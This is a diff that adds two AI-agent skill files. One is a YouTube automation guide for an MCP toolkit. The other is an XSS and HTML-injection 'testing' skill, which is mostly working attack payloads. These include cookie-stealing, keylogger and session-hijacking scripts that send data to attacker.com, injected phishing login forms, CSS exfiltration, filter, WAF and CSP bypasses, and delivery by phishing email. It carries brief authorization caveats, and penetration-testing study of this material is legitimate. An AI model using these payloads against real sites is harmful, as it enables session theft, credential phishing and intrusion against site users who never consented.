  978. package/test/fixtures/skill-with-hyphenated-resources/resources/quick-start-guide.md +3 -0
  979. package/test/fixtures/skill-with-resources/SKILL.md +8 -0
  980. package/test/fixtures/skill-with-resources/resources/examples.md +3 -0
  981. package/test/fixtures/skill-with-resources/resources/guide.md +3 -0
  982. package/test/integration.test.ts +148 -0
  983. package/test/loader.test.ts +78 -0
  984. package/test/search.test.ts +135 -0
  985. package/test/server.test.ts +94 -0
  986. package/test/skill-index.test.ts +144 -0
  987. package/tsconfig.json +15 -0
  988. package/tsup.config.ts +12 -0
  989. package/vitest.config.ts +5 -0
package/skills/xss-html-injection/SKILL.md ADDED
@@ -0,0 +1,499 @@
1
+ ---
2
+ name: Cross-Site Scripting and HTML Injection Testing
3
+ description: This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.
4
+ metadata:
5
+ author: zebbern
6
+ version: "1.1"
7
+ ---
8
+
9
+ # Cross-Site Scripting and HTML Injection Testing
10
+
11
+ ## Purpose
12
+
13
+ Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
14
+
15
+ ## Inputs / Prerequisites
16
+
17
+ ### Required Access
18
+ - Target web application URL with user input fields
19
+ - Burp Suite or browser developer tools for request analysis
20
+ - Access to create test accounts for stored XSS testing
21
+ - Browser with JavaScript console enabled
22
+
23
+ ### Technical Requirements
24
+ - Understanding of JavaScript execution in browser context
25
+ - Knowledge of HTML DOM structure and manipulation
26
+ - Familiarity with HTTP request/response headers
27
+ - Understanding of cookie attributes and session management
28
+
29
+ ### Legal Prerequisites
30
+ - Written authorization for security testing
31
+ - Defined scope including target domains and features
32
+ - Agreement on handling of any captured session data
33
+ - Incident response procedures established
34
+
35
+ ## Outputs / Deliverables
36
+
37
+ - XSS/HTMLi vulnerability report with severity classifications
38
+ - Proof-of-concept payloads demonstrating impact
39
+ - Session hijacking demonstrations (controlled environment)
40
+ - Remediation recommendations with CSP configurations
41
+
42
+ ## Core Workflow
43
+
44
+ ### Phase 1: Vulnerability Detection
45
+
46
+ #### Identify Input Reflection Points
47
+ Locate areas where user input is reflected in responses:
48
+
49
+ ```
50
+ # Common injection vectors
51
+ - Search boxes and query parameters
52
+ - User profile fields (name, bio, comments)
53
+ - URL fragments and hash values
54
+ - Error messages displaying user input
55
+ - Form fields with client-side validation only
56
+ - Hidden form fields and parameters
57
+ - HTTP headers (User-Agent, Referer)
58
+ ```
59
+
60
+ #### Basic Detection Testing
61
+ Insert test strings to observe application behavior:
62
+
63
+ ```html
64
+ <!-- Basic reflection test -->
65
+ <test123>
66
+
67
+ <!-- Script tag test -->
68
+ <script>alert('XSS')</script>
69
+
70
+ <!-- Event handler test -->
71
+ <img src=x onerror=alert('XSS')>
72
+
73
+ <!-- SVG-based test -->
74
+ <svg onload=alert('XSS')>
75
+
76
+ <!-- Body event test -->
77
+ <body onload=alert('XSS')>
78
+ ```
79
+
80
+ Monitor for:
81
+ - Raw HTML reflection without encoding
82
+ - Partial encoding (some characters escaped)
83
+ - JavaScript execution in browser console
84
+ - DOM modifications visible in inspector
85
+
86
+ #### Determine XSS Type
87
+
88
+ **Stored XSS Indicators:**
89
+ - Input persists after page refresh
90
+ - Other users see injected content
91
+ - Content stored in database/filesystem
92
+
93
+ **Reflected XSS Indicators:**
94
+ - Input appears only in current response
95
+ - Requires victim to click crafted URL
96
+ - No persistence across sessions
97
+
98
+ **DOM-Based XSS Indicators:**
99
+ - Input processed by client-side JavaScript
100
+ - Server response doesn't contain payload
101
+ - Exploitation occurs entirely in browser
102
+
103
+ ### Phase 2: Stored XSS Exploitation
104
+
105
+ #### Identify Storage Locations
106
+ Target areas with persistent user content:
107
+
108
+ ```
109
+ - Comment sections and forums
110
+ - User profile fields (display name, bio, location)
111
+ - Product reviews and ratings
112
+ - Private messages and chat systems
113
+ - File upload metadata (filename, description)
114
+ - Configuration settings and preferences
115
+ ```
116
+
117
+ #### Craft Persistent Payloads
118
+
119
+ ```html
120
+ <!-- Cookie stealing payload -->
121
+ <script>
122
+ document.location='http://attacker.com/steal?c='+document.cookie
123
+ </script>
124
+
125
+ <!-- Keylogger injection -->
126
+ <script>
127
+ document.onkeypress=function(e){
128
+ new Image().src='http://attacker.com/log?k='+e.key;
129
+ }
130
+ </script>
131
+
132
+ <!-- Session hijacking -->
133
+ <script>
134
+ fetch('http://attacker.com/capture',{
135
+ method:'POST',
136
+ body:JSON.stringify({cookies:document.cookie,url:location.href})
137
+ })
138
+ </script>
139
+
140
+ <!-- Phishing form injection -->
141
+ <div id="login">
142
+ <h2>Session Expired - Please Login</h2>
143
+ <form action="http://attacker.com/phish" method="POST">
144
+ Username: <input name="user"><br>
145
+ Password: <input type="password" name="pass"><br>
146
+ <input type="submit" value="Login">
147
+ </form>
148
+ </div>
149
+ ```
150
+
151
+ ### Phase 3: Reflected XSS Exploitation
152
+
153
+ #### Construct Malicious URLs
154
+ Build URLs containing XSS payloads:
155
+
156
+ ```
157
+ # Basic reflected payload
158
+ https://target.com/search?q=<script>alert(document.domain)</script>
159
+
160
+ # URL-encoded payload
161
+ https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
162
+
163
+ # Event handler in parameter
164
+ https://target.com/page?name="><img src=x onerror=alert(1)>
165
+
166
+ # Fragment-based (for DOM XSS)
167
+ https://target.com/page#<script>alert(1)</script>
168
+ ```
169
+
170
+ #### Delivery Methods
171
+ Techniques for delivering reflected XSS to victims:
172
+
173
+ ```
174
+ 1. Phishing emails with crafted links
175
+ 2. Social media message distribution
176
+ 3. URL shorteners to obscure payload
177
+ 4. QR codes encoding malicious URLs
178
+ 5. Redirect chains through trusted domains
179
+ ```
180
+
181
+ ### Phase 4: DOM-Based XSS Exploitation
182
+
183
+ #### Identify Vulnerable Sinks
184
+ Locate JavaScript functions that process user input:
185
+
186
+ ```javascript
187
+ // Dangerous sinks
188
+ document.write()
189
+ document.writeln()
190
+ element.innerHTML
191
+ element.outerHTML
192
+ element.insertAdjacentHTML()
193
+ eval()
194
+ setTimeout()
195
+ setInterval()
196
+ Function()
197
+ location.href
198
+ location.assign()
199
+ location.replace()
200
+ ```
201
+
202
+ #### Identify Sources
203
+ Locate where user-controlled data enters the application:
204
+
205
+ ```javascript
206
+ // User-controllable sources
207
+ location.hash
208
+ location.search
209
+ location.href
210
+ document.URL
211
+ document.referrer
212
+ window.name
213
+ postMessage data
214
+ localStorage/sessionStorage
215
+ ```
216
+
217
+ #### DOM XSS Payloads
218
+
219
+ ```javascript
220
+ // Hash-based injection
221
+ https://target.com/page#<img src=x onerror=alert(1)>
222
+
223
+ // URL parameter injection (processed client-side)
224
+ https://target.com/page?default=<script>alert(1)</script>
225
+
226
+ // PostMessage exploitation
227
+ // On attacker page:
228
+ <iframe src="https://target.com/vulnerable"></iframe>
229
+ <script>
230
+ frames[0].postMessage('<img src=x onerror=alert(1)>','*');
231
+ </script>
232
+ ```
233
+
234
+ ### Phase 5: HTML Injection Techniques
235
+
236
+ #### Reflected HTML Injection
237
+ Modify page appearance without JavaScript:
238
+
239
+ ```html
240
+ <!-- Content injection -->
241
+ <h1>SITE HACKED</h1>
242
+
243
+ <!-- Form hijacking -->
244
+ <form action="http://attacker.com/capture">
245
+ <input name="credentials" placeholder="Enter password">
246
+ <button>Submit</button>
247
+ </form>
248
+
249
+ <!-- CSS injection for data exfiltration -->
250
+ <style>
251
+ input[value^="a"]{background:url(http://attacker.com/a)}
252
+ input[value^="b"]{background:url(http://attacker.com/b)}
253
+ </style>
254
+
255
+ <!-- iframe injection -->
256
+ <iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
257
+ ```
258
+
259
+ #### Stored HTML Injection
260
+ Persistent content manipulation:
261
+
262
+ ```html
263
+ <!-- Marquee disruption -->
264
+ <marquee>Important Security Notice: Your account is compromised!</marquee>
265
+
266
+ <!-- Style override -->
267
+ <style>body{background:red !important;}</style>
268
+
269
+ <!-- Hidden content with CSS -->
270
+ <div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
271
+ Fake login form or misleading content here
272
+ </div>
273
+ ```
274
+
275
+ ### Phase 6: Filter Bypass Techniques
276
+
277
+ #### Tag and Attribute Variations
278
+
279
+ ```html
280
+ <!-- Case variation -->
281
+ <ScRiPt>alert(1)</sCrIpT>
282
+ <IMG SRC=x ONERROR=alert(1)>
283
+
284
+ <!-- Alternative tags -->
285
+ <svg/onload=alert(1)>
286
+ <body/onload=alert(1)>
287
+ <marquee/onstart=alert(1)>
288
+ <details/open/ontoggle=alert(1)>
289
+ <video><source onerror=alert(1)>
290
+ <audio src=x onerror=alert(1)>
291
+
292
+ <!-- Malformed tags -->
293
+ <img src=x onerror=alert(1)//
294
+ <img """><script>alert(1)</script>">
295
+ ```
296
+
297
+ #### Encoding Bypass
298
+
299
+ ```html
300
+ <!-- HTML entity encoding -->
301
+ <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
302
+
303
+ <!-- Hex encoding -->
304
+ <img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
305
+
306
+ <!-- Unicode encoding -->
307
+ <script>\u0061lert(1)</script>
308
+
309
+ <!-- Mixed encoding -->
310
+ <img src=x onerror=\u0061\u006cert(1)>
311
+ ```
312
+
313
+ #### JavaScript Obfuscation
314
+
315
+ ```javascript
316
+ // String concatenation
317
+ <script>eval('al'+'ert(1)')</script>
318
+
319
+ // Template literals
320
+ <script>alert`1`</script>
321
+
322
+ // Constructor execution
323
+ <script>[].constructor.constructor('alert(1)')()</script>
324
+
325
+ // Base64 encoding
326
+ <script>eval(atob('YWxlcnQoMSk='))</script>
327
+
328
+ // Without parentheses
329
+ <script>alert`1`</script>
330
+ <script>throw/a]a]/.source+onerror=alert</script>
331
+ ```
332
+
333
+ #### Whitespace and Comment Bypass
334
+
335
+ ```html
336
+ <!-- Tab/newline insertion -->
337
+ <img src=x onerror
338
+ =alert(1)>
339
+
340
+ <!-- JavaScript comments -->
341
+ <script>/**/alert(1)/**/</script>
342
+
343
+ <!-- HTML comments in attributes -->
344
+ <img src=x onerror="alert(1)"<!--comment-->
345
+ ```
346
+
347
+ ## Quick Reference
348
+
349
+ ### XSS Detection Checklist
350
+ ```
351
+ 1. Insert <script>alert(1)</script> → Check execution
352
+ 2. Insert <img src=x onerror=alert(1)> → Check event handler
353
+ 3. Insert "><script>alert(1)</script> → Test attribute escape
354
+ 4. Insert javascript:alert(1) → Test href/src attributes
355
+ 5. Check URL hash handling → DOM XSS potential
356
+ ```
357
+
358
+ ### Common XSS Payloads
359
+
360
+ | Context | Payload |
361
+ |---------|---------|
362
+ | HTML body | `<script>alert(1)</script>` |
363
+ | HTML attribute | `"><script>alert(1)</script>` |
364
+ | JavaScript string | `';alert(1)//` |
365
+ | JavaScript template | `${alert(1)}` |
366
+ | URL attribute | `javascript:alert(1)` |
367
+ | CSS context | `</style><script>alert(1)</script>` |
368
+ | SVG context | `<svg onload=alert(1)>` |
369
+
370
+ ### Cookie Theft Payload
371
+ ```javascript
372
+ <script>
373
+ new Image().src='http://attacker.com/c='+btoa(document.cookie);
374
+ </script>
375
+ ```
376
+
377
+ ### Session Hijacking Template
378
+ ```javascript
379
+ <script>
380
+ fetch('https://attacker.com/log',{
381
+ method:'POST',
382
+ mode:'no-cors',
383
+ body:JSON.stringify({
384
+ cookies:document.cookie,
385
+ localStorage:JSON.stringify(localStorage),
386
+ url:location.href
387
+ })
388
+ });
389
+ </script>
390
+ ```
391
+
392
+ ## Constraints and Guardrails
393
+
394
+ ### Operational Boundaries
395
+ - Never inject payloads that could damage production systems
396
+ - Limit cookie/session capture to demonstration purposes only
397
+ - Avoid payloads that could spread to unintended users (worm behavior)
398
+ - Do not exfiltrate real user data beyond scope requirements
399
+
400
+ ### Technical Limitations
401
+ - Content Security Policy (CSP) may block inline scripts
402
+ - HttpOnly cookies prevent JavaScript access
403
+ - SameSite cookie attributes limit cross-origin attacks
404
+ - Modern frameworks often auto-escape outputs
405
+
406
+ ### Legal and Ethical Requirements
407
+ - Written authorization required before testing
408
+ - Report critical XSS vulnerabilities immediately
409
+ - Handle captured credentials per data protection agreements
410
+ - Do not use discovered vulnerabilities for unauthorized access
411
+
412
+ ## Examples
413
+
414
+ ### Example 1: Stored XSS in Comment Section
415
+
416
+ **Scenario**: Blog comment feature vulnerable to stored XSS
417
+
418
+ **Detection**:
419
+ ```
420
+ POST /api/comments
421
+ Content-Type: application/json
422
+
423
+ {"body": "<script>alert('XSS')</script>", "postId": 123}
424
+ ```
425
+
426
+ **Observation**: Comment renders and script executes for all viewers
427
+
428
+ **Exploitation Payload**:
429
+ ```html
430
+ <script>
431
+ var i = new Image();
432
+ i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
433
+ </script>
434
+ ```
435
+
436
+ **Result**: Every user viewing the comment has their session cookie sent to attacker's server.
437
+
438
+ ### Example 2: Reflected XSS via Search Parameter
439
+
440
+ **Scenario**: Search results page reflects query without encoding
441
+
442
+ **Vulnerable URL**:
443
+ ```
444
+ https://shop.example.com/search?q=test
445
+ ```
446
+
447
+ **Detection Test**:
448
+ ```
449
+ https://shop.example.com/search?q=<script>alert(document.domain)</script>
450
+ ```
451
+
452
+ **Crafted Attack URL**:
453
+ ```
454
+ https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
455
+ ```
456
+
457
+ **Delivery**: URL sent via phishing email to target user.
458
+
459
+ ### Example 3: DOM-Based XSS via Hash Fragment
460
+
461
+ **Scenario**: JavaScript reads URL hash and inserts into DOM
462
+
463
+ **Vulnerable Code**:
464
+ ```javascript
465
+ document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
466
+ ```
467
+
468
+ **Attack URL**:
469
+ ```
470
+ https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
471
+ ```
472
+
473
+ **Result**: Script executes entirely client-side; payload never touches server.
474
+
475
+ ### Example 4: CSP Bypass via JSONP Endpoint
476
+
477
+ **Scenario**: Site has CSP but allows trusted CDN
478
+
479
+ **CSP Header**:
480
+ ```
481
+ Content-Security-Policy: script-src 'self' https://cdn.trusted.com
482
+ ```
483
+
484
+ **Bypass**: Find JSONP endpoint on trusted domain:
485
+ ```html
486
+ <script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
487
+ ```
488
+
489
+ **Result**: CSP bypassed using allowed script source.
490
+
491
+ ## Troubleshooting
492
+
493
+ | Issue | Solutions |
494
+ |-------|-----------|
495
+ | Script not executing | Check CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled |
496
+ | Payload appears but doesn't execute | Break out of attribute context with `"` or `'`; check if inside comment; test different contexts |
497
+ | Cookies not accessible | Check HttpOnly flag; try localStorage/sessionStorage; use no-cors mode |
498
+ | CSP blocking payloads | Find JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass |
499
+ | WAF blocking requests | Use encoding variations; fragment payload; null bytes; case variations |
package/skills/youtube-automation/SKILL.md ADDED
@@ -0,0 +1,218 @@
1
+ ---
2
+ name: youtube-automation
3
+ description: "Automate YouTube tasks via Rube MCP (Composio): upload videos, manage playlists, search content, get analytics, and handle comments. Always search tools first for current schemas."
4
+ requires:
5
+ mcp: [rube]
6
+ ---
7
+
8
+ # YouTube Automation via Rube MCP
9
+
10
+ Automate YouTube operations through Composio's YouTube toolkit via Rube MCP.
11
+
12
+ ## Prerequisites
13
+
14
+ - Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
15
+ - Active YouTube connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `youtube`
16
+ - Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
17
+
18
+ ## Setup
19
+
20
+ **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
21
+
22
+
23
+ 1. Verify Rube MCP is available by confirming `RUBE_SEARCH_TOOLS` responds
24
+ 2. Call `RUBE_MANAGE_CONNECTIONS` with toolkit `youtube`
25
+ 3. If connection is not ACTIVE, follow the returned auth link to complete Google OAuth
26
+ 4. Confirm connection status shows ACTIVE before running any workflows
27
+
28
+ ## Core Workflows
29
+
30
+ ### 1. Upload and Manage Videos
31
+
32
+ **When to use**: User wants to upload a video or update video metadata
33
+
34
+ **Tool sequence**:
35
+ 1. `YOUTUBE_UPLOAD_VIDEO` - Upload a new video [Required]
36
+ 2. `YOUTUBE_UPDATE_VIDEO` - Update title, description, tags, privacy [Optional]
37
+ 3. `YOUTUBE_UPDATE_THUMBNAIL` - Set a custom thumbnail [Optional]
38
+
39
+ **Key parameters**:
40
+ - `title`: Video title (max 100 characters)
41
+ - `description`: Video description (max 5000 bytes)
42
+ - `tags`: Array of keyword tags
43
+ - `categoryId`: YouTube category ID (e.g., '22' for People & Blogs)
44
+ - `privacyStatus`: 'public', 'private', or 'unlisted'
45
+ - `videoFilePath`: Object with `{name, mimetype, s3key}` for the video file
46
+
47
+ **Pitfalls**:
48
+ - UPLOAD_VIDEO consumes high quota; prefer UPDATE_VIDEO for metadata-only changes
49
+ - videoFilePath must be an object with s3key, not a raw file path or URL
50
+ - Tags total must not exceed 500 characters including separators
51
+ - Angle brackets `< >` in tags are automatically stripped
52
+ - Description limit is 5000 bytes, not characters (multibyte chars count more)
53
+
54
+ ### 2. Search YouTube Content
55
+
56
+ **When to use**: User wants to find videos, channels, or playlists
57
+
58
+ **Tool sequence**:
59
+ 1. `YOUTUBE_SEARCH_YOU_TUBE` - Search for content [Required]
60
+ 2. `YOUTUBE_VIDEO_DETAILS` - Get full details for a specific video [Optional]
61
+ 3. `YOUTUBE_GET_VIDEO_DETAILS_BATCH` - Get details for multiple videos [Optional]
62
+
63
+ **Key parameters**:
64
+ - `q`: Search query (supports exact phrases, exclusions, channel handles)
65
+ - `type`: 'video', 'channel', or 'playlist'
66
+ - `maxResults`: Results per page (1-50)
67
+ - `pageToken`: For pagination
68
+
69
+ **Pitfalls**:
70
+ - Search endpoint only returns 'snippet' part; use VIDEO_DETAILS for statistics
71
+ - Search results are capped at 500 total items
72
+ - Search has higher quota cost (100 units) vs list endpoints (1 unit)
73
+ - BATCH video details practical limit is ~50 IDs per call; chunk larger sets
74
+
75
+ ### 3. Manage Playlists
76
+
77
+ **When to use**: User wants to create playlists or manage playlist contents
78
+
79
+ **Tool sequence**:
80
+ 1. `YOUTUBE_LIST_USER_PLAYLISTS` - List user's existing playlists [Optional]
81
+ 2. `YOUTUBE_CREATE_PLAYLIST` - Create a new playlist [Optional]
82
+ 3. `YOUTUBE_ADD_VIDEO_TO_PLAYLIST` - Add a video to a playlist [Optional]
83
+ 4. `YOUTUBE_LIST_PLAYLIST_ITEMS` - List videos in a playlist [Optional]
84
+
85
+ **Key parameters**:
86
+ - `playlistId`: Playlist ID ('PL...' for user-created, 'UU...' for uploads)
87
+ - `part`: Resource parts to include (e.g., 'snippet,contentDetails')
88
+ - `maxResults`: Items per page (1-50)
89
+ - `pageToken`: Pagination token from previous response
90
+
91
+ **Pitfalls**:
92
+ - Do NOT pass channel IDs ('UC...') as playlist IDs; convert 'UC' to 'UU' for uploads
93
+ - Large playlists require pagination via pageToken; follow nextPageToken until absent
94
+ - items[].id is not the videoId; use items[].snippet.resourceId.videoId
95
+ - Creating duplicate playlist names is allowed; check existing playlists first
96
+
97
+ ### 4. Get Channel and Video Analytics
98
+
99
+ **When to use**: User wants to analyze channel performance or video metrics
100
+
101
+ **Tool sequence**:
102
+ 1. `YOUTUBE_GET_CHANNEL_ID_BY_HANDLE` - Resolve a handle to channel ID [Prerequisite]
103
+ 2. `YOUTUBE_GET_CHANNEL_STATISTICS` - Get channel subscriber/view/video counts [Required]
104
+ 3. `YOUTUBE_LIST_CHANNEL_VIDEOS` - List all videos from a channel [Optional]
105
+ 4. `YOUTUBE_GET_VIDEO_DETAILS_BATCH` - Get per-video statistics [Optional]
106
+ 5. `YOUTUBE_GET_CHANNEL_ACTIVITIES` - Get recent channel activities [Optional]
107
+
108
+ **Key parameters**:
109
+ - `channelId`: Channel ID ('UC...'), handle ('@handle'), or 'me'
110
+ - `forHandle`: Channel handle (e.g., '@Google')
111
+ - `id`: Comma-separated video IDs for batch details
112
+ - `parts`: Resource parts to include (e.g., 'snippet,statistics')
113
+
114
+ **Pitfalls**:
115
+ - Channel statistics are lifetime totals, not per-period
116
+ - BATCH video details may return fewer items than requested for private/deleted videos
117
+ - Response data may be nested under `data` or `data_preview`; parse defensively
118
+ - contentDetails.duration uses ISO 8601 format (e.g., 'PT4M13S')
119
+
120
+ ### 5. Manage Subscriptions and Comments
121
+
122
+ **When to use**: User wants to subscribe to channels or view video comments
123
+
124
+ **Tool sequence**:
125
+ 1. `YOUTUBE_SUBSCRIBE_CHANNEL` - Subscribe to a channel [Optional]
126
+ 2. `YOUTUBE_UNSUBSCRIBE_CHANNEL` - Unsubscribe from a channel [Optional]
127
+ 3. `YOUTUBE_LIST_USER_SUBSCRIPTIONS` - List subscriptions [Optional]
128
+ 4. `YOUTUBE_LIST_COMMENT_THREADS` - List comments on a video [Optional]
129
+
130
+ **Key parameters**:
131
+ - `channelId`: Channel to subscribe/unsubscribe
132
+ - `videoId`: Video ID for comment threads
133
+ - `maxResults`: Results per page
134
+ - `pageToken`: Pagination token
135
+
136
+ **Pitfalls**:
137
+ - Subscribing to an already-subscribed channel may return an error
138
+ - Comment threads return top-level comments with up to 5 replies each
139
+ - Comments may be disabled on some videos
140
+ - Unsubscribe requires the subscription ID, not the channel ID
141
+
142
+ ## Common Patterns
143
+
144
+ ### Channel ID Resolution
145
+
146
+ **Handle to Channel ID**:
147
+ ```
148
+ 1. Call YOUTUBE_GET_CHANNEL_ID_BY_HANDLE with '@handle'
149
+ 2. Extract channelId from response
150
+ 3. Use in subsequent channel operations
151
+ ```
152
+
153
+ **Uploads Playlist**:
154
+ ```
155
+ 1. Get channel ID (starts with 'UC')
156
+ 2. Replace 'UC' prefix with 'UU' to get uploads playlist ID
157
+ 3. Use with LIST_PLAYLIST_ITEMS to enumerate all videos
158
+ ```
159
+
160
+ ### Pagination
161
+
162
+ - Set `maxResults` (max 50 per page)
163
+ - Check response for `nextPageToken`
164
+ - Pass token as `pageToken` in next request
165
+ - Continue until `nextPageToken` is absent
166
+
167
+ ### Batch Video Details
168
+
169
+ - Collect video IDs from search or playlist listings
170
+ - Chunk into groups of ~50 IDs
171
+ - Call GET_VIDEO_DETAILS_BATCH per chunk
172
+ - Merge results across chunks
173
+
174
+ ## Known Pitfalls
175
+
176
+ **Quota Management**:
177
+ - YouTube API has a daily quota limit (default 10,000 units)
178
+ - Upload = 1600 units; search = 100 units; list = 1 unit
179
+ - Prefer list endpoints over search when possible
180
+ - Monitor quota usage to avoid hitting daily limits
181
+
182
+ **ID Formats**:
183
+ - Video IDs: 11-character alphanumeric strings
184
+ - Channel IDs: Start with 'UC' followed by 22 characters
185
+ - Playlist IDs: Start with 'PL' (user) or 'UU' (uploads)
186
+ - Do not confuse channel IDs with playlist IDs
187
+
188
+ **Thumbnails**:
189
+ - Custom thumbnails require channel phone verification
190
+ - Must be JPG, PNG, or GIF; under 2MB
191
+ - Recommended: 1280x720 resolution (16:9 aspect ratio)
192
+
193
+ **Response Parsing**:
194
+ - Statistics values are returned as strings, not integers; cast before math
195
+ - Duration uses ISO 8601 format (PT#H#M#S)
196
+ - Batch responses may wrap data under different keys
197
+
198
+ ## Quick Reference
199
+
200
+ | Task | Tool Slug | Key Params |
201
+ |------|-----------|------------|
202
+ | Upload video | YOUTUBE_UPLOAD_VIDEO | title, description, tags, categoryId, privacyStatus, videoFilePath |
203
+ | Update video | YOUTUBE_UPDATE_VIDEO | video_id, title, description, tags |
204
+ | Set thumbnail | YOUTUBE_UPDATE_THUMBNAIL | videoId, thumbnailUrl |
205
+ | Search YouTube | YOUTUBE_SEARCH_YOU_TUBE | q, type, maxResults |
206
+ | Video details | YOUTUBE_VIDEO_DETAILS | id, part |
207
+ | Batch video details | YOUTUBE_GET_VIDEO_DETAILS_BATCH | id, parts |
208
+ | List playlists | YOUTUBE_LIST_USER_PLAYLISTS | maxResults, pageToken |
209
+ | Create playlist | YOUTUBE_CREATE_PLAYLIST | (check schema) |
210
+ | Add to playlist | YOUTUBE_ADD_VIDEO_TO_PLAYLIST | (check schema) |
211
+ | List playlist items | YOUTUBE_LIST_PLAYLIST_ITEMS | playlistId, maxResults |
212
+ | Channel statistics | YOUTUBE_GET_CHANNEL_STATISTICS | id/forHandle/mine |
213
+ | List channel videos | YOUTUBE_LIST_CHANNEL_VIDEOS | channelId, maxResults |
214
+ | Channel ID by handle | YOUTUBE_GET_CHANNEL_ID_BY_HANDLE | channel_handle |
215
+ | Subscribe | YOUTUBE_SUBSCRIBE_CHANNEL | channelId |
216
+ | List subscriptions | YOUTUBE_LIST_USER_SUBSCRIPTIONS | (check schema) |
217
+ | List comments | YOUTUBE_LIST_COMMENT_THREADS | videoId |
218
+ | Channel activities | YOUTUBE_GET_CHANNEL_ACTIVITIES | (check schema) |